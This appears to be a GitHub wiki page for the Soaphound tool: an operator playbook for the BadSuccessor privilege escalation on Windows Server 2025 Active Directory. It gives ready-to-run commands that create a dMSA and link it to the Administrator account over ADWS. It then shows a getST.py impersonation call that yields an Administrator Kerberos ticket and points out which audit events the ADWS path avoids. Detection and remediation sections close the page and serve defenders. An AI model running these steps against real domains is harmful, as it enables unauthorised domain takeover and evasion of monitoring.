Skip to content

Playbook BadSuccessor

belettetimoree edited this page Nov 1, 2026 · 1 revision

Playbook - BadSuccessor via ADWS Writes

The BadSuccessor technique abuses Windows Server 2025 dMSA migration semantics to inherit the Kerberos identity of an arbitrary account. The orchestrator rides three WS-Transfer SOAP writes on tcp/9389 - no LDAP, no DCOM, no SMB.

Scenario

Field Value
Domain corp.local (Windows Server 2025 DC)
DC dc01.corp.local / 10.0.0.10
Attacker identity alice@corp.local with CreateChild (msDS-DelegatedManagedServiceAccount) on OU=Delegated,DC=corp,DC=local
Attacker credential Password123!
Victim CN=Administrator,CN=Users,DC=corp,DC=local
dMSA to create svc-bs$ under OU=Delegated,DC=corp,DC=local

Prerequisite - CreateChild on an OU

Soaphound's BloodHound output is enough to confirm the prerequisite:

soaphound -c Stealth \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  -op PRECHECK --output-dir /tmp/badsucc --zip

Import into BloodHound CE and run:

MATCH (u:User {name:'ALICE@CORP.LOCAL'})-[:AllExtendedRights|CreateChild]->(o:OU)
RETURN u, o

Any OU returned is a valid --dmsa-ou candidate.

Step 1 - Dry run

The orchestrator renders the three SOAP envelopes without touching the DC. Use it to review exactly what will be written:

soaphound --badsuccessor --dry-run \
  -u alice -p 'Password123!' \
  -d corp.local -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --target 'CN=Administrator,CN=Users,DC=corp,DC=local' \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

Step 2 - Execute (the three ADWS writes)

soaphound --badsuccessor \
  -u alice -p 'Password123!' \
  -d corp.local -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --target 'CN=Administrator,CN=Users,DC=corp,DC=local' \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

The three writes land in sequence on the shared ADWS session:

# Operation Attribute set
1 WS-Transfer Create New msDS-DelegatedManagedServiceAccount named svc-bs$
2 WS-Transfer Put msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=corp,DC=local
3 WS-Transfer Put msDS-DelegatedMSAState = 2 (migration complete)

Expected tail (abbreviated):

[*] Create msDS-DelegatedManagedServiceAccount CN=svc-bs$,OU=Delegated,DC=corp,DC=local - OK
[*] Put  msDS-ManagedAccountPrecededByLink → CN=Administrator,CN=Users,DC=corp,DC=local - OK
[*] Put  msDS-DelegatedMSAState=2 - OK
[*] BadSuccessor migration recorded. Request a service ticket as svc-bs$ with a patched impacket to inherit the victim PAC.

Step 3 - Request a service ticket as the migrated identity

This step is out of scope for Soaphound.py. The Kerberos AS/TGS exchange requires an impacket build with the dMSA ticket handling patches shipped by the Akamai PoC. Reference: https://www.akamai.com/fr/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory.

With a patched impacket, a typical post-exploitation call looks like:

# requires akamai-patched impacket
getST.py -spn 'cifs/dc01.corp.local' \
         -k -no-pass \
         -impersonate svc-bs$ \
         corp.local/alice:'Password123!'

The resulting ticket carries the Administrator PAC, giving the attacker Administrator access against any service accepting Kerberos.

Rollback

Clean up the dMSA created by the previous run:

soaphound --badsuccessor --rollback \
  -u alice -p 'Password123!' \
  -d corp.local -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

Detection footprint

Event Where When
5137 DC Security Step 2 (create of the dMSA object). Requires a per-OU SACL on the parent and the "Directory Service Changes" subcategory.
5136 x2 DC Security Step 2 (msDS-ManagedAccountPrecededByLink write and msDS-DelegatedMSAState write).
4662 DC Security Not generated. The writes do not route through LDAP, so the LDAP writeProperty hook does not fire.
5156 DC WFP TCP connection on tcp/9389. Requires WFP connection auditing.
4769 DC Security Step 3 - TGS request with the dMSA SPN. The PAC inheritance is not visible on the wire.

Remediation

  • Audit CreateChild (msDS-DelegatedManagedServiceAccount) on every OU; this is the single prerequisite for the technique.
  • Enable per-OU SACLs on OUs that can host dMSAs, so 5137 fires on dMSA creation.
  • Alert on msDS-DelegatedMSAState transitions on all dMSAs.
  • Review every msDS-ManagedAccountPrecededByLink value periodically - a link to a Tier-0 principal is suspicious outside a documented migration.

References

Clone this wiki locally